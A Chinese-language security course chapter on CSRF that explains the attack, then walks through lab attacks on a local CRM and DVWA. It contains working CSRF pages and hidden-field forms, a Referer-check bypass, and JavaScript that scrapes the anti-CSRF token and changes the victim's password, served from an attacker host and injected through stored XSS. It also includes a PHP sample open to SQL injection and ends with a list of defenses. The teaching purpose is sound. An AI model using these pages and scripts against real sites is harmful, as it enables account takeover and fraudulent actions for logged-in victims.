05-CSRF
1 CSRF概述
1.1 概述
CSRF (Cross-Site Request Forgery) 跨站请求伪造,也可称为一键式攻击 (one-click-attack),通常缩写为 CSRF 或者 XSRF。
CSRF 攻击是一种挟持用户在当前已登录的浏览器上发送恶意请求的攻击方法。相对于XSS利用用户对指定网站的信任,CSRF则是利用网站对用户网页浏览器的信任
。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
例如,攻击者在一个社交媒体网站上发送一个链接,要求受害者点击该链接以查看某张照片。然而,该链接实际上是一个伪装的请求,它会向受害者已登录的银行账户发送一条转账请求,而受害者并不知道自己的账户已经被攻击者攻击。
1.2 原理
前提:
- 用户必须登录站点且保持登录状态
- 伪装链接地址,能诱导用户点击链接
- 找到受攻击的用户群体,并把链接发给他。不管用什么方式 钓鱼 邮件 短信
- 用户必须在同一个浏览器上点击你发的链接地址
原理:
- 攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。
- 如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑。
案例1:登录a网站,可以实现转账功能(get请求),然后在相同浏览器页面上点击b网站,访问了一张图片,图片底层代码有a网站的转账请求,然后就成功了
案例2:登录a网站,可以实现转账功能(post请求),然后在相同浏览器上,访问了网站b,内嵌了一个iframe,post请求的内容是hidden,然后页面只有一个submit,当你点击时,a网站就会转账1000000元。
1.3 类型
1)主动攻击型
- 受害者访问a.com并在自己浏览器留下a.com的登录态(比如cookie)
- 攻击者诱导受害者访问网站b.com
- 网站b.com植有访问a.com接口的恶意代码(删除/增加/修改等),浏览器请求头中会默认携带a.com网站的cookie
- 受害者点击b.com时候,b.com带着a.com的登陆凭证冒充受害用户执行对a.com的恶意操作
2)被动攻击型
- 攻击者在a.com发布带有恶意链接的帖子或者评论(提交对a.com带有增删改的诱导型img/form/a标签)
- 当其他拥有登录态的受害者点击该评论的恶意链接冒用受害者登录凭证发起攻击
- CSRF主要是冒用受害者登录凭证发起恶意的增删改并不会窃取受害者隐私信
2 使用
2.1 get类型
针对客户关系管理系统(网站a),新增用户请求:
http://192.168.190.133/crm/php/add.php?account=test02&password=123456&name=张三
# 或者转账、删除用户、...一些列破坏操作
攻击者服务器网页代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<a href="http://192.168.190.133/crm/php/add.php?account=test02&password=123456&name=张三">
<img src="https://img1.baidu.com/it/u=342277134,1682059924&fm=253&fmt=auto&app=120&f=JPEG?w=750&h=500">
<p>全国可飞,点我加V</p>
</a>
</body>
</html>
2.2 post类型
特点:
1)攻击一般发起在第三方网站,而不是被攻击的网站(被攻击的网站无法防止攻击发生)
2)攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作,而不是只窃取数据。
3)整个攻击过程攻击者并不能获取受害者的登录凭证,而只是冒用
4)夸张那请求可以用各种方式:图片url、超链接、CORS、form等等,部分请求可以直接嵌入在第三方论坛、文章中,难以进行跟踪
1)修改add功能为post请求
<?php
// 文件包含
include "dbUtil.php";
// 接收表单数据
$account = $_POST["account"];
$password = $_POST["password"];
$name = $_POST["name"];
// 账号不能重复
$sql = "select * from userinfo where account='$account';";
$arr = queryOne($sql);
if(count($arr)){
echo "账号已存在,新增失败";
}else{
$sql = "insert into userinfo(account,password,name) values('$account','$password','$name');";
executeSql($sql); // 执行新增
echo "新增成功";
}
?>
2)burp抓包post请求
- 右键-poc(用于验证CSRF(Cross-Site Request Forgery,跨站请求伪造)漏洞的存在)
4)查看生成的poc代码
5)复制上面poc代码,到攻击页面,该页面点击后,手动点击下方任意一个按钮,相当于提交了一次post请求。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<a href="http://192.168.190.133/crm/php/add.php?account=test02&password=123456&name=张三">
<img src="https://img1.baidu.com/it/u=342277134,1682059924&fm=253&fmt=auto&app=120&f=JPEG?w=750&h=500">
<form action="http://192.168.190.133/crm/php/add.php" method="POST">
<input type="hidden" name="account" value="test12" />
<input type="hidden" name="password" value="123" />
<input type="hidden" name="name" value="test12" />
<input type="submit" value="全国可飞,点我加V" />
</form>
</a>
</body>
</html>
POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。
3 XSS与CSRF区别
1)信任方向不一致
- XSS:利用用户对服务器的信任
- CSRF:利用服务器对用户的信任,伪装恶劣用户的身份发送一个合法的请求
2)代码存放位置不一样
- XSS的恶意代码:存放在目标服务器,但是恶意代码是在用户的浏览器端运行
- CSRF的代码:是存储在攻击者服务器,而代码的攻击的目标哦是目标站点的服务器
3)结果不同
- XSS:获取用户的一些信息,如cookie,或者控制用户的浏览器。
- CSRF:是更新、删除、修改用户的一些敏感信息、业务信息等
4 CSRF应用场景
1)转帐功能,用户A在支付宝中有一笔具款。攻击者小黑伪造了一个具备转换功能的链接。用户A点击该链接后,攻击完成。最终攻击者小黑收到了用户A的具款转帐。
2)修改用户收货地址,用户A在电商系统里下单了,并且支付了,但是想修改收货地址。这时攻击者小黑给他发了一个CSRF的伪装链接,这个链接的作用就是修改用户的收货地址。用户A点击该链接,攻击完成。最终攻击者小黑收到了用户A购买的商品。
5 防御
5.1 DVWA靶场部署
1. 修改配置文件名称
DVWA/config/config.inc.php.dist 修改为 DVWA/config/config.inc.php
2. 修改数据库账号密码 DVWA/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '666888';
3. 访问 Dwva http://<IP>/DVWA/
4. 修改配置文件 /lampp/etc/php.ini
4.1 894 allow_url_fopen=Off 修改为 894 allow_url_fopen=On
4.2 898 allow_url_include=Off 修改为 898 allow_url_include=On
4.3 重启 lampp
5. 授权 写入权限
chmod a+w /opt/lampp/htdocs/DVWA/hackable/uploads/
chmod -R a+w /opt/lampp/htdocs/DVWA/external/phpids/0.6/lib/IDS/tmp
chmod a+w /opt/lampp/htdocs/DVWA/config
6. 创建数据库 点击 Create / Reset Database
7. 登录dvwa http://<IP>/DVWA/login.php
admin / password
8. 修改安全 等级DVWA Security
low 低
medium 中
high 高
impossible 不可能的
需要提交
访问页面:
5.2 中级防御
5.2.1 修改级别为中级
5.2.2 攻击
1)利用DVWA-CSRF中对密码修改
2)burp抓包
3)poc
4)复制到一个服务器,然后远程访问地址
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://mycrm.com/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="444" />
<input type="hidden" name="password_conf" value="444" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
5)失败(因为是中级的)
7)抓包查看(类似下面内容)
8)查看源代码
# Referer字段 里面查找是否存在Server_Name(即主机IP或域名)字段的值,如果存在则满足条件
# 如果我们攻击,则两者不一样
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
5.2.3 防御
if (isset($_SERVER["HTTP_REFERER"]) and @$_SERVER["SERVER_NAME"] != "null" and $_SERVER["SERVER_NAME"] =="mycrm.com" and @$_SERVER["HTTP_ORIGIN"] != "null" and $_SERVER["HTTP_ORIGIN"] == "http://mycrm.com"){
//代码正文
pass
}else{
echo "修改异常,你已经被检测轻点整事";
}
5.2.4 绕过
# 攻击者在制人和伪装页面时,故意将页面的名称命名为包含目标站点的域名地址
mycrm.com.html
5.3 高级防御
5.3.1 修改级别为高级
5.3.2 攻击
1)利用DVWA-CSRF中对密码修改
2)抓包
3)poc
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://mycrm.com/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="666" />
<input type="hidden" name="password_conf" value="666" />
<input type="hidden" name="Change" value="Change" />
<input type="hidden" name="user_token" value="a10bc96b4041bf429fa695ce737ecded" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4)执行后,没有提示信息,重新登录验证密码是否修改成功
5.3.3 原理
**原理:**通过token机制来确保用户的请求是唯一的。从而来预防CSRF攻击。
**token:**Token可以是一段用户名+服务器时间、用户ID+网卡Mac、用户名+签名的加密字符串,也可以是一段随机值,可以有特定的有效期,也可以每一个请求都不一样。Token的加密可以使用对称加密,也可以使用非对称加密,完全取决于Token认证服务器的业务需要。在使用过程中,Session的状态维持通常是基于请求的Cookie字段完成,是解决HTTP无状态的理想方案。而Token则可以选择维持状态,也可以选择不维持状态。需要维持状态的情况下,可以选择使用服务器存储方案(与Session类似),如果不需要维持状态,则只需要将Token进行解密即可完成验证(每次服务器都要解密)。另外,Token值通常是直接放在GET请求或POST请求的参数中发送给服务器的,而不是请求头的Cookie中。
- 存储型Token或Session:消耗存储空间,但是不消耗解密的CPU资源。
- 解密型Token:不消耗存储空间,但是消耗CPU资源进行解密运算(通常使用对称加密,非对称加密消耗得更多)。
5.3.4 防御
token不一致
5.3.5 绕过
需要让攻击的token跟页面生成的token一样。
1)访问CSRF页面,在页面的源代码中可以看到生成的Token:
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
<input type='hidden' name='user_token' value='e7fb6143cc6416fbe7f07d7f90fbb534' />
</form>
2)再次访问CSRF页面,生成的Token值发生了变化,可以确定DVWA生成Token的机制是每一次均不一样。
3)过关方案的核心在于要发送请求给 http://mycrm.com/dvwa/vulnerabilities/csrf/
页面,然后从响应中取得Token(通过正则表达式可以提取出来),取得后再将Token和新密码一起发送给 http://mycrm.com/dvwa/vulnerabilities/csrf/?user_token=TOKEN&password_new=PASS&password_conf=PASS&Change=Change'
页面完成密码修改。
4)先构造一个Javascript原生代码发送AJAX请求的代码:
let tokenURL = "http://mycrm.com/DVWA/vulnerabilities/csrf/"
var count = 0;
xmlHttp = new XMLHttpRequest()
xmlHttp.onreadystatechange = function(){
if(xmlHttp.readyState == 4 && xmlHttp.status == 200){
// 取得请求的响应,并从响应中通过正则提取Token
var text = xmlHttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
// alert(match[1]);
var token = match[1];
var changeUrl = 'http://mycrm.com/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=777&password_conf=777&Change=Change';
if (count == 0) {
count = 1; // 只发送一次,否则会多次发送
xmlHttp.open("GET",changeUrl,false); // false 代表同步方式发送
xmlHttp.send();
}
}
}
xmlHttp.open("GET",tokenURL, false);
xmlHttp.send();
5)将上述JavaScript代码放置于攻击服务器上,如http://192.168.190.134/csrf.js
6)想办法将上述JS代码嵌入到被攻击者服务器上即可完成。(high无法实现)
<script src="http://192.168.190.134/woniu/csrf.js"></script>
7)调整为low级别
8)通过xss存储型漏洞实现
9)调整级别为high
10)点击xss(store),抓包
11)验证,密码777成功。
5.4 总结防御
(1)避免在URL中明文显示特定操作的参数内容;
(2)使用同步令牌(Synchronizer Token),检查客户端请求是否包含令牌及其有效性;(常用的做法,并且保证每次token的值完全随机且每次都不同)
(3)检查Referer Header,拒绝来自非本网站的直接URL请求。
(4)不要在客户端保存敏感信息(比如身份认证信息);
(5)设置会话过期机制,比如20分钟无操作,直接登录超时退出;
(6)敏感信息的修改时需要对身份进行二次确认,比如修改账号时,需要判断旧密码;也可以使用动态验证码(生成在页面的隐藏域中) <input type="hidden" value="xT7p9z">
(7)避免交叉漏洞, 如XSS等
(8)禁止跨域访问
(9)在响应中设置CSP(Content-Security-Policy)内容安全策略
防御:
1.尽量使用POST
2.加入验证码(确保是用户行为而不是黑客行为)
3.验证referer(发送请求的站点地址,添加拦截器检查referer,但是也不是万无一失,因为某些浏览器可以篡改referer)
4.验证Anti CSRF Token(可以在头,也可以在form中)
5.加入自定义Header